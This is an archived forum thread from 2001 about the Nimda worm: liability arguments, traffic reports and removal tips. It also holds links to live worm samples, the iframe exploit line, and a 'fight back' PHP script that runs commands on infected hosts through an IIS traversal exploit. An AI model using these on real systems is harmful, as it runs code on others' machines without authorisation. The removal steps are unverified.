Which is good. I run a stripped-down Apache on the gateway partly for security, but also partly because its hard drive space is not spacious.

bookmarklets work for Mozilla, too

[CCat]

http://www.bookmarklets.com/

It's basically a bit of javascript contained in a url. You add it to bookmarks/favorites, and it then does something to the page you're looking at --- background color to white, or window resize for example.

Any web browser that supports javascript can potentially make use of the feature --- but you have to leave javascript turned on.

Windows users might wish to use the proxomitron at the same time (freeware.)

http://spywaresucks.org/prox/

Re:National Infrastructure Protection Center warni

[Anonymous Coward]

Actually, I hear they're doing wonders with liquid nitrogen as well.

Affecting Apache

[matth]

Hrmm.. i was rather disturbed today. I was looking around my linux box and found HUNDREDS of *.eml files. Now.. does anyone want to venture a guess as to how they got in there? Some of them I've seenbefore .. . (like the firs tpart of the file name).. others i haven't... my directory structure looks right... any idea how it got in?

~ Matt

Re:Affecting Apache

[Anonymous Coward]

any shares open on your network? school network perhaps? have a linux box and a windows box on a share? that could be it...

Re:Affecting Apache

[sinster]

My servers are all apache, and none of the attacks have gotten through.

Apache itself isn't the culprit. Maybe you have something else there, or a bad configuration of apache or some insecure cgi installed. Lots of possibilities.

Re:Affecting Apache

[matth]

Actually yeah that's the only thing I can find ... the linux box has open shares on it.. world readable (nothing important).. does this virus also attack via shares?

Re:Affecting Apache

[sinster]

Apparently. At least that's what I'm told. I don't have any shares, so I can't verify it myself. I could check the firewall logs for blocked accesses on UDP 137, 139, and the rest, but I always get lots of blocked accesses on those ports anyway, so it wouldn't really tell me much.

Re:Affecting Apache

[matth]

Strangest thing is.. the windows boxen BEHIND the linux box seem to have a bunch of *.eml on them! What in the world?!?! I can understand getting into the linux box.. but getting into the windows boxen behind?!?

nimba trying to attack me.

[sinster]

My servers at AdAce have been getting hits from nimba since 6:23am PST today. Each infected machine hits me 16 times in 3 seconds, then I don't hear from it again for about 10 minutes.

At this point, there are 5723 unique IP addresses trying to probe my servers. I see a new IP address about every 45 seconds.

And, of course, there is no microsoft software of any kind that's accessible on those networks. All boxes running any microsoft software are isolated on a ghetto network, with very tight firewall rules.

You'd think that the bozos who write these things would at least check to see if the server was IIS before trying their probes. At least then my automatic log cycler wouldn't trigger so often.

Re:Time for a class action lawsuit against Microso

[fmaxwell]

In the case of IIS, Microsoft claimed that it was secure.

Show me a quote where Microsoft claims that their software is perfect. No software is perfectly secure

I did not say that they claimed it was "perfect". I only said that they claimed it was secure (see the URL http://www.microsoft.com/windows2000/server/evalua tion/features/web.asp)

I like being able to open a document that someone e-mails me without having to save it off somewhere.

Now combine that "feature" with Microsoft's default of hiding file extensions and someone e-mails resume.doc.exe, the recipient sees resume.doc, and he double clicks on it. Outlook then executes the application without so much as an "are you sure?" prompt.

But what I was referring to was execution of script languages (e.g. VBScript) within e-mails.

Are you aware that a spammer can send you HTML e-mail and know when it is displayed on your screen? All he does is include a unique 1x1 .GIF URL. When his system sees a "GET" on his web server for the .GIF, he knows that your e-mail address is valid, the IP address of your machine, and that he's got a live one. Welcome to more spam. And you cannot turn off HTML fetching from your e-mail or have it ask you first.

These are all examples of gross security flaws that Microsoft has created. Sorry, but that's negligence in its simplist form.

Live MRTG statistics of Nimda :)

[mbyte]

of our server in germany, 213.x ip ;)

statistik

you get what you pay for.

[gimpboy]

exactly. alot of the problem here is with the users. they got what they paid for. from my discussions with a friend who works on alot of ms boxes, it seems that iis can be as secure as apache as long as you know what you are doing. people who say "*nix" doesnt have the sort of problems are living on borrowed time.

alot of the boxen that are being infected are doing so because they are running default installs with no patches. if you told me you were running a default redhat install i would laugh my ass off.

my main problems with windows is the security paradigm they use, and how the market ease of use. because of this a normal user can execute programs that infect system files. sort of like browsing the web as root. by marketing their product as "point and click"ish they attract the lowest common denominator in users.

it basically comes down to being an informed user. by the time you get to admining a unix box you are normally already a bit more informed, and you probably arent making the decision because it's _easy_ to use.

Re:you get what you pay for.

[Anonymous Coward]

Companies that dupe their users into buying this sort of security should be sued in a class action by all the hard working system administrators and hostmasters who have to constantly deal with their false advertising and incompetence. I don't think your "not warranted for a particular purpose" holds when you advertise yourself as the cornerstone of e-commerce. The irony is that while this attack was propagating (unbeknownst to me) I was talking to a fellow admin about how we will finally all become aware that MS systems are a gaping security hole. 5 minutes later the "load" pages started triggering. Yuck!

--Steve

Re:Time for a class action lawsuit against Microso

[Anonymous Coward]

Scot's Turf Builder doesn't bundle the necessary agent to cause a problem (gasoline, IIRC).

Microsoft, however, does. In many ways (IE, Outlook, Outlook's buggy capability to execute stuff without asking, etc, etc...).

I think Scot's would be in big trouble if they bundled all the ingredients you need to turn an ordinary fertilizer into a bomb.

Somehow, Microsoft can bundle all sorts of useless crap that (due to the sheer amount of it) when you chip away at it, you have no trouble making something evil out of it.

Ho hum.

Does IIS Count as Giving "Comfort" to Bin Laden?

[Anonymous Coward]

In the event that this one is attibuted to Bin Ladeneers, how could anyone deny that M$ "harbors" and facilitates his activities?

Let the Gov't wage its Secret War against the *Real* Public Enemy Number One: M$ Corp.

Crop rotation

[Anonymous Coward]

Crop rotation is done so that the soil is given a chance to recover. Different crops extract different nutrients from the soil, and leave different byproducts. If you constantly plant one variety of plant in a field, you will drain the soil of the nutrients that that plant needs to survive. Farmers switch between a number of different crops in such a way that Crop A supports Crop B, B supports C, and C supports A again.

Hmm...

[Scoria]

Over 5,000 requests by the worm so far on this end.

This one should be a real bandwidth eater.

Re:Time for a class action lawsuit against Microso

[Anonymous Coward]

>This would make ZERO DIFFERENCE. Why? Because the people that are the cause of this problem don't bother to register their software. How exactly could Microsoft reach these clueless morons?

If you're running warez you'd probably have a hard time convincing the judge that anything was Microsoft's fault. If you don't bother to register your software, again, Microsoft cannot be blamed if they make reasonable attempts to contact you.

Same thing as if you buy a Ford Explorer and move across the world. If you decide not to tell Ford, and something happens, can you blame them? I would think not. Most especially not when they decided to take out public ads on TV and in the newspapers about the problem.

>First of all, I run many servers running IIS. I've probably only registered a handful of them. We buy the software not from Microsoft but from third parties. I very rarely receive mailed ads from Microsoft.

They must have changed their policy then. I have only ever registered windows 3.0 (its true!), yet I ended up with ads for windows 3.1, 3.11, 95, and 98.

>The problem here is joe-blow not keeping his machine secured.

If Joe Blow chooses to make himself unknown to the corporation, and the corporation takes every measure to inform him personally about the problems, then maybe its Joe Blow's fault.

That and if Joe Blow chooses to use "professional" software to run a small website and it breaks, then maybe he should have gotten help on using it.

I don't have a drop forge steel mold in my backyard, and if I did I wouldn't sue the company because I don't know how to operate it. It's isn't meant for me in the first place!

Re:Time for a class action lawsuit against Microso

[fmaxwell]

If you want to make it apples and apples, I would not blame my bank, but instead the software company that created their operating system, or the person or group of people that wrote their CGI scripts. After all, the bank just maintains the PC's, they don't write the software themselves, correct?

Thank you. You just proved my point. You would blame the company that wrote the software, not the bank that "just maintains the PCs." Well, Microsoft wrote IIS and now you want to foist 100% of the blame on the user who 'just maintains the PC.'

Because the people that are the cause of this problem don't bother to register their software. How exactly could Microsoft reach these clueless morons?

Where do you get your information on what kinds of people do and do not register software? Would that fall under the category of "brown facts"?

Maybe the fact that Microsoft does not make a proactive effort to notify users, by mail -- including a patch disc, when there are problems explains why software registration is less than it could be.

I said Microsoft patched THE FLAW.

You can release a patch to correct a flaw or you can patch a program or system. You cannot patch a flaw. If I tell my client that I patched something, he assumes, correctly, that I installed a software change on one or more systems, not that I created the patch and left it for his staff to read about on the company web page. But, that's semantics and I seriously doubt that either of us will concede that point.

Windows -- decisions, decisions

[Scoria]

Does it have another check box that says "Always open attachments, especially those that could be a virus?" :)

Re:Time for a class action lawsuit against Microso

[Reality Master 101]

I did not say that they claimed it was "perfect" [...] see the URL http://www.microsoft.com/windows2000/server/evalua tion/features/web.asp

A claim of being "secure" implies a claim of "perfect security". I looked at the page, and I don't see the quote. They talk about "security features", but I don't see the claims you are talking about. Tell me the quote.

Now combine that "feature" with Microsoft's default of hiding file extensions and someone e-mails resume.doc.exe, the recipient sees resume.doc, and he double clicks on it.

Maybe that's not a feature for you, but it's certainly more user friendly to not see an extension. Does it create unintended consequences? Yes. But I don't this as a reasonable criticism, unless you also say all Macintosh names should have extensions as well.

Outlook then executes the application without so much as an "are you sure?" prompt.

Not true. Outlook gives you all sort of warning bells and whistles for a long time now.

All he does is include a unique 1x1 .GIF URL.

Again, an unintended consequence of HTML e-mail. But I think it's unreasonable to say words to the effect of "Microsoft should have known that people would be able to track me by supporting HTML e-mail". Microsoft wasn't even the first to support it ... they used RTF in the beginning, but everyone else used HTML (for obvious reasons, since it's a standard).

And you cannot turn off HTML fetching from your e-mail or have it ask you first.

Again, untrue. At least since Outlook 2000 (which I run), you can adjust security settings for HTML e-mail, or HTML anything else for that matter. It's actually very flexible.

These are all examples of gross security flaws that Microsoft has created.

I don't necessarily disagree that Microsoft could do more, but it's also unreasonable to imply that they've done nothing, or that we should go back to being green screen luddites. This is going to be a learning process like anything else.

Related problem?

[JanusFury]

Here at our office of CalTrans (the calif. dept of transportation), almost all of our machines are having the same problem: None of the Office 2000 applications will run. They sit for about 5 minutes in the background, taking up 2mb of ram and 0% of the cpu, and then start... and give strange errors about corrupted files when you try to open something.

Related? My pc right here works fine, but it seems almost everyone else can't use office 2000.

no, it's worse than negligence, it's fraud.

[Anonymous Coward]

This is intentional malice. The weaknesses exist, BY DESIGN, so that MS can profit by selling their install base as advertising space. It is no accident that the MSJVM, VBS etc. have full access to the root file system. These these backdoors were put into MS products so that MS and other software makers could shove other software on to users and collect user infomation for marketing purposes. They have consistently and intentionally disregarded basic security tennents such as users, for their own convenience and profit. They have then, as you pointed out, lied about the security of their products and continue to do so.

Deception to profit at other's expense is fraud, a criminal offense most places.

Re:no, it's worse than negligence, it's fraud.

[WhiteKnight07]

It's only fraud if you can prove deception. Something a quick eximination of the source code would reveal fairly easily. Err, wait a second, this is propritary software, we can't look at the source code. Gee, we can't reverse engineer it to evaluate its security robustness either. *cough*DMCA*cough* Well, with no proof of "intentional" deception, I'm afraid we're stuck.

What they can't legaly prove can't hurt us.

Got a copy of readme.eml from an infected box

[Scoria]

It's sitting at http://www.initialized.org/virus/readme.eml if anyone wants to take a peak at it...

*DO NOT OPEN IT IN INTERNET EXPLORER.*

Re:Got a copy of readme.eml from an infected box

[pc486]

I took a look at it and realized what the email is taking advantage of. It was a well known exploit which I actually used against a friend who challenged me to "hack" his computer. Lets put it this way, it was too easy. What the real thing does is create a invisable iframe which references the attachment, automatically opening it and running it.

<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>

Is where it does this attack That one was the example used in a post somewhere (I lost it link, it was a few months ago). The real one uses is this:

<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0></iframe>

See how it is used? Ingenious I must say.

Mozilla 0.9.4

[athmanb]

With the latest version, the window doesnt even start up at all if you have popup-suppresion enabled :)

Re:Time for a class action lawsuit against Microso

[Velex]

An interesting question of responsiblity arises. I should point out that, with a few egregious exceptions, Microsoft does proved patches for security holes. It's just that the network admins don't apply them. However, there wouldn't be any need for security if there weren't 31337 skr1p7 k1dd13z trying to bring wed sites down for kicks.

Three parties are involved in this mess. There's the dubious software vendor, Microsoft, who has written the programs with these gaping security holes. In addition, the end users that use the horrible products also bear responsiblity. Last, but not least, the 31337 d00dz that wrote the programs to exploit the holes in Microsoft's programs. First let us consider ourselves -- is there an element of responsiblity that we owe to the world to check whom we trust with our equipment? Yes, and I'm proud to say that I'm doing my part by using Mozilla and KMail and other GPLed whatnot. Everyone's favorite scapegoat, Microsoft, does not deserve as much blame as people like to place on their shoulders. Everyone should know better than to depend on something written by as sloppy a programming house as Microsoft. That doesn't excuse them from their part of the responsibility: if they had been more careful, worms like this couldn't exist. However, the brunt of the blame falls on the 31337 d00d that wrote the worm. If the 31337 d00d had never written the worm, we wouldn't have to worry about this. In fact, blame can only be assigned to the first two parties because of the inevitability of the existence of 31337 h4x0rz. Simply put, although we all share blame for worms like this, it is the direct fault of the d00d that put this worm into existance.

Class A 1.0.0.0-126.255.255.254

[Anonymous Coward]

OK Einstein, think you're so 'leet?

127.x.x.x is LOOPBACK.

Class A is from 1-126. Class B starts at 128.

Guess you gotta take "Networking and Operating System Essentials" again, huh? ;-)

Also, the default Subnet Mask for Class A is 255.0.0.0

The Masked MCSE
"Oh fsck, here comes another worm!"

Re:It's drivers not the tyre manufacturers that're

[Jayde Stargunner]

I think you fail to miss something.

Yes, Ford was liable for those incident which occured out of nowhere.

However, what if Ford had realized "Oops. There was an accident in the plant, and these tires may not work.", issues a recall, makes is super-easy to get the tires repaired...

6 months pass, and tires start to blow out. Even though Ford has made it incredibly easy for anyone to prevent it from happening to them.

Let's take it up a notch. Let's say that the bad tires were only on commerical vehicles. (As IIS is only only Windows Servers, and Win2K *as an installable optiont* (not by default)) It is more the fault of the people whos job it is to keep up on car part recalls and prevent accidents from happening... Perhaps in the first month or two, it would be in question. But, if the mechanics wait *6 months* to fix a high-profile recall, the blame starts to fall more on their shoulders than anything else.

And, as dramatic as you make it sound..nobody's died because of code red--last time I checked, at least. :-P

-Jayde

code red and now this and @Home does nothing

[ekephart]

at least on the @Home network Code Red is still alive and well check out this log file. it's not auto-updated i just catted it at about 5pm central time on 9-18-01... yup thats right mostly TODAY i've managed to rack up a 5599 line file.

Re:Dear whoever is in charge of naming these thing

[Anonymous Coward]

Can I Get A Witness! Amen Brotha'!

I'm sure you can afford an ISP and Comp. on $4yr

[Anonymous Coward]

I'm sure the people in Afghanistan can afford l33t computers to h@x0r americans on their $4yr annual wage.

Some people are so freaking stupid, I'm repulsed.

I went ahead and extracted readme.exe...

[Scoria]

It's at http://www.initialized.org/virus/readme.exe .. Just remember not to run it on Windows. :)

Removal

[jcoy42]

I was just forwarded the following as info on removing this bad boy. I've read a lot about people rebooting and losing the box, so looks like a bit more planning then that is needed.

Anyway, I havn't verified this works but here's how one person claims to have removed the beast:

the last several hours of removing this baby from the whole office, here
are the steps---

set up the computer to :View All Files. (this includes the hidden files)

Find: *.EML DELETE ALL of these Outlook Express email files. The
filenames come from files that have been accessed. You'll find EML files
in your startup, system tray, start menu, etc. just search all local and
network drives. A single computer can have 400 to 3000 of these files

Find: *.NWS DELETE ALL of these newsgroup files. About 20 or so.

Find: riched20.dll DELETE ALL that have todays date. This will leave
only one. If you delete all of them, you need a good one in
/windows/system. Go find on another computer.

Run: SYSEDIT, edit the c:\windows\system.ini file and modify the
SHELL=EXPLORER.EXE to read just that. Take out the load.exe -noloadold
(or something like that).

Find: load.exe and delete this bad boy. If inuse by Windows, you need to
reboot.

if your computer comes up with "modifying system files" on a reboot, the
load.exe is still being executed. Repeat the above steps (but you won't
find the SHELL=EXPLORER corruption).

Re:Removal

[NutscrapeSucks]

Late followup, but it sounds like this won't be sufficent to clean the system. Bits from NTBugTraq:

Virus sets IE5 to IE4 compatibility mode (apparently to circumvent
security) and crashes Explorer.exe when IE is launched. IExplore.exe
appears to be hacked, and there is now a hidden IExplore .exe (note the
space before the extension) in same directory.

IIS console hacked: New MMC.EXE placed in \WINNT directory, which may
override original version in \WINNT\System32.

EXE files placed into TEMP directory. Note that most/all hacked EXE
files are flagged Hidden.

NT Account "Guest" was made a member of the NT "Administrators" group!

And maybe more ... looks nasty enough to warrent a reinstall.

Redirect those to Microsoft

[DV]

Can someone check if the client will follow redirects ? I yes, I suggest to make Redirect
rules to http://www.microsoft.com for /scripts , /c/ and /d/
In itself that should be a good punition.

Daniel

Re:Redirect those to Microsoft

[Knobby]

This is bad idea! If everyone on this list redirected their malformed requests to Microsoft, they'd never be able to distribute a patch!!

Less Stress for Apache Logmasters

[herk]

I'm not entirely sure how well this works, but given that these worms are obviously connecting via the actual numerical ip, it should be possible to filter off logging from any machine connecting via such an ip to a junk log, or maybe even to deny connections altogether. I'm sure this can be tweaked, but preliminary tests indicate that this works:

<VirtualHost 24.222.rest.ofyourip>
ServerName 24.222.rest.ofyour.ip
ErrorLog /var/log/apache/trash-error.log
CustomLog /var/log/apache/trash-access.log combined
</VirtualHost>

Re:Time for a class action lawsuit against Microso

[fmaxwell]

They talk about "security features", but I don't see the claims you are talking about. Tell me the quote.

There is not a single quote saying "this product is 100% secure." The clear and obvious purpose of the web page is to leave the user with the impression that the IIS product is secure.

At least since Outlook 2000 (which I run), you can adjust security settings for HTML e-mail, or HTML anything else for that matter. It's actually very flexible.

Then tell me how to prevent it from fetching items from the web -- i.e., no permission for Outlook to access data via HTTP. Then I might switch from Outlook Express 6 -- the most current version of Outlook Express and what I run.

Outlook gives you all sort of warning bells and whistles for a long time now.

You are correct that the newer versions do give warnings. I stand corrected.

There are currently 4 known means of propogation

[jedinite]

The best site to track this incident IMO (incidents.org) now has a pretty good picture of what's going on from a technical perspective.

A short summary:

The Nimda worm is now known to propogate four ways:

(1) An IIS vulnerability propagation mechanism where the worm attempts to exploit a large number of IIS vulnerabilities to gain control of a victim IIS server. Once in control, the worm uses tftp to fetch its code in a file called Admin.dll from the attacking server.

(2) Email propogation. The worm harvests email addresses from the address book and potentially the web browser history and sends itself to all addresses as an attachment called readme.exe. These executables are automatically executed if the receipient who opens (or previews) the email is running Internet Explorer 5 or 6. Note that the worm may spoof the source address on the emails.

(3) When a web server is infected, the worm replaces all web pages on the server with a binary encoded as a wav file, which can infect each client that connects to the server. The wav file is called readme.eml. Microsoft Internet Explorer 5.0 and higher will automatically execute the malicious file.

(4) The worm is network aware and propagates via open shares. It will propagate to shares that are accessible to username guest with no password.

See: www.incidents.org/react/nimda.php for the full details.

- YASP (Yet Another Security Professional) who is fighting this pretty heavily at work - nothing here infected, of course, but the traffic itself is threatening to become a pretty nice distributed DOS - our Internet Router (a decently-hefty CSCO 6500-series) is sitting at ~60% processor utilization.

Re:This could explain why I can't reach my machine

[nuhonda]

aye.

i also cannot reach my 24.20.xx.xx @home machine.

they really oughta shut down the fuckers that cannot patch thier system.

Re:This is what I think

[Anonymous Coward]

No, actually a lot of cat owners keep a dog around, too.

The dog's job is to keep the litter box clean.

Smart animals, those dogs...

Re:A moment of being an idiot

[Philbert Desenex]

Microsoft Software is more popular and so it gets hit more. If linux was just as popular you would see the same thing happen.

You wish. The MSFT-toadying media thought that x.c , a FreeBSD and Linux worm, was going to be the "Next Code Red". My machine got more hits from sadmind/IIS worm (Solaris) than x.c. C'mon, shill-boy, why aren't you toeing the Wagg-Ed line? The truth of the matter lies more in the fact that Windows is more-or-less a software and hardware monoculture. Any flaw in IIS affects *all* of the population. The Linux/Unix/BSD/Solaris population has much greater diversity: a flaw in the WN web server isn't going to affect sites using thttpd. Similarly, there are dozens of Linux email clients in use, from mailx to Pine to mh. I don't think there's a common scripting language amongst the diversity of Linux email clients, and I don't think *any* of them are dopey enough to execute "readme.eml" files.

People that dislike windows and love linux are the reason for this attack. Its these people that are writing the viruses and worms. You've got to be kidding, right? Have you got any evidence whatsoever to back that up?

Re:WinZip was aparently hit - False Mail Headers

[Vancouverite]

Email is going out with spoofed headers from multiple sources (e.g. incidents.org reports receiving one from webmaster@incidents.org), so I doubt WinZip was actually hit.

Re:Time for a class action lawsuit against Microso

[Sloppy]

They were negligent when they created software and technologies that are so easily exploited.

No. Users were negligent in purchasing and deploying software that was already known ahead of time, to be defective.

Microsoft's reputation is well established. Ignorance is no excuse.

Re:Time for a class action lawsuit against Microso

[fmaxwell]

Do you really want to establish a precedence that sez all software developers are libel for the worms others create?

No. I want to establish a precedent that makes software publishers responsible for making their products work as described and proactively notifying users of patches necessitated for security reasons.

I'm guessing you don't write much code.

You guessed wrong. I've been a professional software developer since 1980 -- back when Microsoft's only products were languages like BASIC, Fortran, and Cobol for 8-bit CP/M systems. Now I develop embedded systems -- currently for satellites. If my code causes a mission failure, I expect to be unemployed. So I don't have a lot of sympathy for Microsoft when they pretend that it is impossible to write robust, secure software.

This is a nasty piece of work...

[jezerbel]

My server has been flooded with this crap... Thank god for comprehensive server logs and even more comprehensive service packs - curious: have there ever been any mass infections/security problems like this for Unix/Linux? I'm not asking to be a troll or anything I'm just curious about the focus of these attacks...

Re:Time for a class action lawsuit against Microso

[Reality Master 101]

The clear and obvious purpose of the web page is to leave the user with the impression that the IIS product is secure.

It's a marketing page! The "clear and obvious purpose" is to tell you the features of the product in hopes that you'll buy it. I'm not sure how it should be changed to satisfy you.

Then tell me how to prevent it from fetching items from the web -- i.e., no permission for Outlook to access data via HTTP.

Hmm. There are a whole slew of options (you basically create a custom zone, and then tell Outlook to use that zone), but I don't see one for "deny downloading images" or something like that. I'm only running IE 5.0. The IE 5.5 renderer might have some additional security options.

Heck, it's not a bad idea. Submit it to Microsoft and it will probably be implemented. One thing you have to give Microsoft credit for is responding to feature requests (although many decry this as "bloat").

Ow!#

[MasterOfDisaster]

Ok. I must say that this worm is bad.
So far, in the past hour, i've been hit around 2000 times. (I know that may not sound like much to some of you getting 20 hits/second..but bear with me here..) in coontrast, CodeRed only hit me 200 times an hour, at peak
It also spreads in more ways then any other worm i've ever heard of. [The number of hits is going up, as i type this] this could be a very, very wide spread worm. I just hope M$ doesnt put a PR spin on it saying how they saved the internet..bastards...

Could this be the start of better software being used?
Probly not. People seem to accept that every few weeks some "evil hacker" will come and f*ck everything over. If only we had the same views on cyberterrosim as we do on "Real Life" terrorisim

Will this mark the start of worse worms/viruses/viri?
Yeah. This thing is spreading like wildfire, due to the fact that insted of copying ONE worm like is often done, this worm has many, many exploits, and many ways to spread

Wow...

[Saint Aardvark]

Two servers I take care of have had 3000 and 4000 hits, respectively, today -- and the one w/4000 is just a lil' 486 w/16mb of ram. Go selenium go!

readme.eml mutations

[MadDog Bob-2]

Like everybody else, I'm seeing ferocious numbers of http attempts at my firewall, so I took a look at some of the originating IPs. I've only managed to get through to a couple of them, since the worm appears to keep the victims fairly busy :)

Having pulled down a couple of the readme.eml files from the infected boxen (mmm... Mozilla on Solaris on Sparc :), I noticed that they are not all the same. Suppose the folks behind this one realized that a monoculture is a Bad Idea, or is it likely harvesting some data while it propagates?

Fight back and Inform

[tommyServ0]

I made a PHP script, by modifying a similar one used for Code Red. First make a "scripts" directory in your web server's root directory. Now put this into a file called "root.exe"

<?php
/* Open a connection to the offender */
$fp = fsockopen($REMOTE_ADDR, 80, $en, $es, 5);
/* Check to see if the connection actually opened */
if ($fp)
{
/* URL-encode the message... */
$string = urlencode("net send %COMPUTERNAME% WARNING: The NIMDA worm has been detected on your computer. Please shut down the IIS web server that is currently running and keep it disabled until you can patch and/or re-install your system, or better yet, upgrade to Linux or FreeBSD. Visit http://www.kb.cert.org/vuls/id/111677 for more information.");
/* ...and send it */
fputs ($fp, "GET /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/syst em32/cmd.exe?/c+$string HTTP/1.0\n\n");
/* close the connection (though it probably got closed automatically) */
fclose ($fp);
}

/* for fun and confusion.. */
header ("HTTP/1.0 404");

echo ("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n");
echo ("<html><head>\n<title>404 Not Found</title>\n</head></body>\n" );
echo ("<h1>Not Found</h1>\n");
echo ("The requested URL $SCRIPT_NAME was not found on this server.\n");
echo ("</body></html>\n");
echo ("<address>Apache/1.3.20 Server at $SERVER_NAME Port $SERVER_PORT</address>\n");
echo ("</body></html>\n");

$res = "dirty\r\n";
$log = fopen("/tmp/nimda.log", "a");
fwrite($log, $REMOTE_ADDR . " " . date("D, d M Y H:i:s T") . " - " . $res);
fclose($log);
?>

Then, (after making sure users can access the file.. try going to http://machine/scripts/root.exe. It's going to print out the contents of that file. You want to change that, right?

Well here's how you change that. Edit your httpd.conf file (/etc/httpd.conf, /usr/local/apache/httpd.conf, whatever it is) and put this type in like this:

AddType application/x-httpd-php .php .php3 .exe

That should do it, and you're going to have a logfile of all the people who have been warned in /tmp/nimba.log.

Re:Fight back and Inform

[tommyServ0]

Oh yeah, make sure you restart apache when you're done. . .

/etc/rc.d/init.d/httpd restart

-- or --

apachectl restart

That way the .exe extension will be handled by PHP.

Re:Fight back and Inform

[Everybody]

Just wondering: Is there any reason why you chose the /msadc/ exploit, and not the /c/ sharing
(http://[ip]/c/winnt/system32/cmd.exe+/c+net%20sen d%20blah)?

From what I gather (but I am far from sure), the /c/ sharing is one of the exploits that nimda installs by itself and thus guranteed to work...

Effects of the worm on a university network, etc

[Anonymous Coward]

Got hit with a bunch of emails from some person I don't know with an attachment, no subject. I was checking through telnet to a UNIX server, so I just killed the files without much thought. A later telnet into the same system popped up a message that my university's off campus connection to the internet was bogged down by this Nimda worm. Traffic to the outside has been slow to nonexistant all day. I checked the dropbox I keep for my shared files, and sure enough there was a .eml file waiting for me. That got deleted, and the folder closed to outside access. I should know better than to allow guest write access, even to one directory. The rest of this system's pretty well locked down, and several manual scans show no sign of infection. This thing's so new there's still no information on how to remove it if you're infected in Symantec's database. They have, however, documented it's behavior, you can see it at Symantec's Page.

Re:Time for a class action lawsuit against Microso

[aozilla]

ISPs that run Linux/*BSD/Solaris are being hurt by the traffic, too.

Why stop there? The end users are being hurt by the ISPs. The ISPs should be catching these exploits and shutting down traffic from those servers. And the end users' dogs are being hurt by the end users. When I spend more time on the internet, I have less time to feed my dog. Not to mention that when I don't feed my dog my dog sometimes goes out and bites my next door neighbor. And that in turn causes her to call 911. And when 911 is busy people die. Every one of those people should be suing Microsoft, damnit.

The work of a disgruntled Webmaster?

[Lord Bitman]

This seems like just the kind of thing I'd do if I had too much time on my hands. Webmasters everywhere are sick of seeing their logs get filled up with shit related to this, and everyone seems to be ignoring that these things still exist, only because old news seems dull.
So how do you combat this? create awareness? force people to know?
Well you could make something like Code Red, but then people would just ignore it a week later..
The problem with Code Red was that it was Over-Hyped, and Hyped incorrectly.
Saw 'experts' on the news saying that the virus could be removed by rebooting. Result: A lot of people rebooted, nothing changed. Even if a lot of people actually installed the patch, it doesnt help at all that the solution given by many people to any problem is to completely reinstall whatever the effected programs are. Even I do that to individual programs. I even did that in Linux yesterday (I usually dont take any of my windows policies over to linux)

So how do you FORCE people to listen? I mean even if you make people listen to one problem, they may not hear about another one, so if Code Red is gone you can still find people hitting you with whatever else they had before. And they're both still out there.

So why not create something that is not at all stealthy, not fast, not anything at all to make people not see it, just completely in-your-face and seeming to serve no purpose other than to be in-your-face.

As I type this, my tailed log has scrolled more than code red ever did on its worst day. I think this will get someones attention. If you thought Code Red II was annoying still appearing in your log every now and then, well you won't as easily be able to ignore when just one of these things tries to connect.

Whose fault? That one is easy.

[Anonymous Coward]

You're talking with your buddies, and you mention you're thinking of making your move with Jane.

"Are you nuts?" says Bill, "Jane gave me crabs."

"Crabs? I wish I just got crabs. She gave me AIDS." says Tom.

"Yeah, she gave me AIDS too," says Jeff.

"She gave me Herpes," says Joe.

"She didn't give me anything. But I used seven condoms," says Fred.

"She gave me AIDS and Herpes and crabs," says Ted.

"You poor bastard," everyone agrees.

You think it over. Maybe Jane's not worth it. But she meets your gaze from across the room, and the pattern of scabs on her faces changes in such a way that you think she might have just smiled at you. "Oh what the hell," you decide.

A couple of weeks later, the doc gives you the bad news. You're infected, and you got it from Jane.

Now here's the question: Is it reasonable to sue Jane? What were your expectations? Well, the same goes for NT users. NT users many years ago had a reasonable expectation of security, just like the first few guys who shared Jane had a reasonable expectation of not getting an STD. But expectations change over time. They are shaped by experience, reputation, word on the street, and the sound that cockroaches make as they scatter before a light. If your expectations do not change to fit the available data, then the only thing you're a victim of, is your own stupidity.

Nimda.com

[Anonymous Coward]

There's a nimda.com. It says "Like my new virus?"!

It's registered to a Ron Nimda!
Don't expect its a real name.

Re:Nimda.com

[Anonymous Coward]

Did anyone try to contact this guy?
This is hard to believe.

Re:Nimda.com

[Anonymous Coward]

No, that web site says it is NOT related to the virus.

Liability & Negligence

[Anonymous Coward]

I think you fail to miss something.

I agree with this statement. Read your sentence again :-P

as dramatic as you make it sound..nobody's died because of code red--last time I checked, at least

Good point and I agree with this statement too :)

I'm not going to defend my tyre spoof as anything like a direct analogy - I was trying to make a wider point about liability. Why is it that, seemingly uniquely, the software industry bears no liability for its products? I don't use MS products so I'm not bound at all by their (legally untested) shrinkwrap agreements and EULAs. Yet, this incident is just the latest that has cost me money. Bandwidth ain't free you know and this sucker has wasted an obscene amount of it.

Even given the lack of liability, where has the public awareness campaign been? There has been no "recall" of any kind. Seen any ads in the last few months advising users to make sure they are patched? If there have been any, they've been drowned out by XP promotions. Or directed at sys admins, because there seems to be a belief that this kind of thing only affects web server operators. Even you make this mistake ("(As IIS is only only Windows Servers, and Win2K *as an installable optiont* (not by default)"). Wrong! Many many components in a Window system (server or desktop, makes no difference) do install IIS. It's a fight to NOT install IIS.

And even regardless of this, nimda is not restricted to servers - many of the infections are users' desktops. Have MS done anything to alert Joe User about the need to patch? If they have done anything, it's way too little too late. That to me is a lack of diligence. It's negligent to the point of recklessness. And that's my point - all other industries get whacked in the courts for reckless negligence, they are liable for the products they produce. Why is software a special case? I don't think it should be and the call for a class action suit in an earlier thread is entirely appropriate.

Re:Liability & Negligence

[Jayde Stargunner]

It's amazing that you seem to know this even though you say: "I don't use MS products"

Could you please let me know when/where IIS gets installed on Windows ME/98/95? I would really like to know that. Because Windows ME/98/95 users are the only ones a "public awareness campaign" would really be targeted at. Who is this vast "public" that has IIS running?

When I was a beginning developer, I tried many timeson many system to get the 9x equivalent of IIS (PWS) to work... And, I can assure you that the reality is not in this statement: "It's a fight to NOT install IIS", but more along the lines of "It's a fight TO install IIS" Once, I did managed to get PWS to work...but it took considerable time and effort on my part.

IIS is NOT installed by default on Windows 2000 Professional. I have used Win2K Pro without IIS on my notebook and home desktop with no prompting to install it from any source. I fail to understand what it is you refer to by saying, "Many many components in a Window system (server or desktop, makes no difference) do install IIS" You do NOT get IIS on your system on accident. I have never seen anyone who had IIS on thier system without knowing about it--unless someone else (not someTHING, but someONE) installed it without them knowing. (I.E. Overzealous IT personel)

